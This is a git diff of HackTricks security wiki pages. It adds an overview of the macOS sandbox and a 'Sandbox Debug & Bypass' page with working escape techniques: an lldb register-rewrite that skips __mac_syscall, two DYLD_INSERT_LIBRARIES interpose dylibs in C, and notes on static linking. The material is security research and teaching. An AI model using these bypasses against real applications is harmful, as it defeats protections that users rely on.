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SUMMARY.md
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@ -154,6 +154,8 @@
* [macOS Network Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md) * [macOS Network Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
* [macOS Red Teaming](macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md) * [macOS Red Teaming](macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md)
* [macOS Serial Number](macos-hardening/macos-security-and-privilege-escalation/macos-serial-number.md) * [macOS Serial Number](macos-hardening/macos-security-and-privilege-escalation/macos-serial-number.md)
* [macOS Sandbox](macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/README.md)
* [macOS Sandbox Debug & Bypass](macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/macos-sandbox-debug-and-bypass.md)
* [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md) * [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md)
* [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) * [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)

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linux-hardening/privilege-escalation/docker-security/cgroups.md
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@ -1,4 +1,4 @@
# Cgroups # CGroups
<details> <details>
@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -89,7 +89,7 @@ An exception to these rules is the **root cgroup** found at the bottom of the hi
Even with no controllers enabled, you can see the CPU usage of a cgroup by looking at its cpu.stat file: Even with no controllers enabled, you can see the CPU usage of a cgroup by looking at its cpu.stat file:
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (6) (3).png" alt=""><figcaption></figcaption></figure>
Because this is the accumulated CPU usage over the entire lifespan of the cgroup, you can see how a service consumes processor time even if it spawns many subprocesses that eventually terminate. Because this is the accumulated CPU usage over the entire lifespan of the cgroup, you can see how a service consumes processor time even if it spawns many subprocesses that eventually terminate.
@ -100,7 +100,7 @@ Because this is the accumulated CPU usage over the entire lifespan of the cgroup
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

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macos-hardening/macos-security-and-privilege-escalation/README.md
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@ -382,11 +382,100 @@ Here you can find examples of how some **malwares have been able to bypass this
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
### Seatbelt Sandbox ### Sandbox
MacOS Sandbox works with the kernel extension Seatbelt. It makes applications run inside the sandbox **need to request access to resources outside of the limited sandbox**. This helps to ensure that **the application will be accessing only expected resources** and if it wants to access anything else it will need to ask for permissions to the user. MacOS Sandbox (initially called Seatbelt) makes applications run inside the sandbox **need to request access to resources outside of the limited sandbox**. This helps to ensure that **the application will be accessing only expected resources** and if it wants to access anything else it will need to ask for permissions to the user.
Important **system services** also run inside their own custom **sandbox** such as the mdnsresponder service. You can view these custom **sandbox profiles** inside the **`/usr/share/sandbox`** directory. Other sandbox profiles can be checked in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). Any app with the **entitlement** `com.apple.security.app-sandbox` will be executed inside the sandbox. In order to publish inside the App Store, **this entitlement is mandatory**. So most applications will be executed inside the sandbox.
Some important components of the Sandbox are:
* The **kernel extension** `/System/Library/Extensions/Sandbox.kext`
* The **private framework** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* A **daemon** running in userland `/usr/libexec/sandboxd`
* The **containers** `~/Library/Containers`
Inside the containers folder you can find **a folder for each app executed sanboxed** with the name of the bundle id:
```bash
ls -l ~/Library/Containers
total 0
drwx------@ 4 username staff 128 May 23 20:20 com.apple.AMPArtworkAgent
drwx------@ 4 username staff 128 May 23 20:13 com.apple.AMPDeviceDiscoveryAgent
drwx------@ 4 username staff 128 Mar 24 18:03 com.apple.AVConference.Diagnostic
drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings.extension
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
Inside each bundle id folder you can find the **plist** and the **Data directory** of the App:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
total 104
drwx------@ 4 username staff 128 Mar 24 18:08 .
drwx------ 348 username staff 11136 May 23 20:57 ..
-rw-r--r-- 1 username staff 50214 Mar 24 18:08 .com.apple.containermanagerd.metadata.plist
drwx------ 13 username staff 416 Mar 24 18:05 Data
ls -l Data
total 0
drwxr-xr-x@ 8 username staff 256 Mar 24 18:08 CloudKit
lrwxr-xr-x 1 username staff 19 Mar 24 18:02 Desktop -> ../../../../Desktop
drwx------ 2 username staff 64 Mar 24 18:02 Documents
lrwxr-xr-x 1 username staff 21 Mar 24 18:02 Downloads -> ../../../../Downloads
drwx------ 35 username staff 1120 Mar 24 18:08 Library
lrwxr-xr-x 1 username staff 18 Mar 24 18:02 Movies -> ../../../../Movies
lrwxr-xr-x 1 username staff 17 Mar 24 18:02 Music -> ../../../../Music
lrwxr-xr-x 1 username staff 20 Mar 24 18:02 Pictures -> ../../../../Pictures
drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
Note that even if the symlinks are there to "escape" from the Sandbox and access other folders, the App still needs to **have permissions** to access them. These permissions are inside the **`.plist`**.
{% endhint %}
```bash
# Get permissions
plutil -convert xml1 .com.apple.containermanagerd.metadata.plist -o -
# In this file you can find the entitlements:
<key>Entitlements</key>
<dict>
<key>com.apple.MobileAsset.PhishingImageClassifier2</key>
<true/>
<key>com.apple.accounts.appleaccount.fullaccess</key>
<true/>
<key>com.apple.appattest.spi</key>
<true/>
[...]
# Some parameters
<key>Parameters</key>
<dict>
<key>_HOME</key>
<string>/Users/username</string>
<key>_UID</key>
<string>501</string>
<key>_USER</key>
<string>username</string>
[...]
# The paths it can access
<key>RedirectablePaths</key>
<array>
<string>/Users/username/Downloads</string>
<string>/Users/username/Documents</string>
<string>/Users/username/Library/Calendars</string>
<string>/Users/username/Desktop</string>
[...]
```
Important **system services** also run inside their own custom **sandbox** such as the mdnsresponder service. You can view these custom **sandbox profiles** written in a language called Sandbox Profile Language (SBPL) inside the **`/usr/share/sandbox`** directory. Other sandbox profiles can be checked in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
To start an application with a sandbox config you can use: To start an application with a sandbox config you can use:

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macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md
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@ -176,7 +176,7 @@ In the header first you find the **segment header**:
Example of segment header: Example of segment header:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
This header defines the **number of sections whose headers appear after** it: This header defines the **number of sections whose headers appear after** it:

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macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
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@ -132,7 +132,7 @@ In the left panel of hopper it's possible to see the symbols (**Labels**) of the
In the middle panel you can see the **dissasembled code**. And you can see it a **raw** disassemble, as **graph**, as **decompiled** and as **binary** by clicking on the respective icon: In the middle panel you can see the **dissasembled code**. And you can see it a **raw** disassemble, as **graph**, as **decompiled** and as **binary** by clicking on the respective icon:
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
Right clicking in a code object you can see **references to/from that object** or even change its name (this doesn't work in decompiled pseudocode): Right clicking in a code object you can see **references to/from that object** or even change its name (this doesn't work in decompiled pseudocode):

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macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/README.md Normal file
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@ -0,0 +1,41 @@
# macOS Sandbox
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Basic Information
### Start Sandbox
**Processes are not born sandboxed on macOS: unlike iOS**, where the sandbox is applied by the kernel before the first instruction of a program executes, on macOS **a process must elect to place itself into the sandbox.**
Processes are automatically Sandboxed from userland when they start if they have the entitlement: `com.apple.security.app-sandbox`. For a detailed explanation of this process check:
{% content-ref url="macos-sandbox-debug-and-bypass.md" %}
[macos-sandbox-debug-and-bypass.md](macos-sandbox-debug-and-bypass.md)
{% endcontent-ref %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

284
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@ -0,0 +1,284 @@
# macOS Sandbox Debug & Bypass
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Sandbox loading process
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
In the previous image it's possible to observe **how the sandbox will be loaded** when an application with the entitlement **`com.apple.security.app-sandbox`** is run.
The compiler will link `/usr/lib/libSystem.B.dylib` to the binary.
Then, **`libSystem.B`** will be calling other several functions until the **`xpc_pipe_routine`** sends the entitlements of the app to **`securityd`**. Securityd checks if the process should be quarantine inside the Sandbox, and if so, it will be quarentine.\
Finally, the sandbox will be activated will a call to **`__sandbox_ms`** which will call **`__mac_syscall`**.
### Sanbox load debug & bypass
Let's compile an application that should be sandboxed:
{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
```
{% endtab %}
{% tab title="entitlements.xml" %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```
{% endtab %}
{% tab title="Info.plist" %}
```xml
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
Then compile the app:
{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}
{% hint style="danger" %}
The app will try to **read** the file **`~/Desktop/del.txt`**, which the **Sandbox won't allow**.\
Create a file in there as once the Sandbox is bypassed, it will be able to read it:
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}
Let's debug the chess application to see when is the Sandbox loaded:
```bash
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
{% hint style="warning" %}
**Even with the Sandbox bypassed TCC** will ask the user if he wants to allow the process to read files from desktop
{% endhint %}
### Interposting Bypass
For more information about **Interposting** check:
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}
#### Interpost `_libsecinit_initializer` to prevent the sandbox
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### Interpost `__mac_syscall` to prevent the Sandbox
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Static Compiling & Dynamically linking
[**This research**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) discovered 2 ways to bypass the Sandbox. Because the sandbox is applied from userland when the **libSystem** library is loaded. If a binary could avoid loading it, it would never get sandboxed:
* If the binary was **completely statically compiled**, it could avoid loading that library.
* If the **binary wouldn't need to load any libraries** (because the linker is also in libSystem), it won't need to load libSystem.&#x20;
### Shellcodes
Note that **even shellcodes** in ARM64 needs to be linked in `libSystem.dylib`:
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
## References
* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
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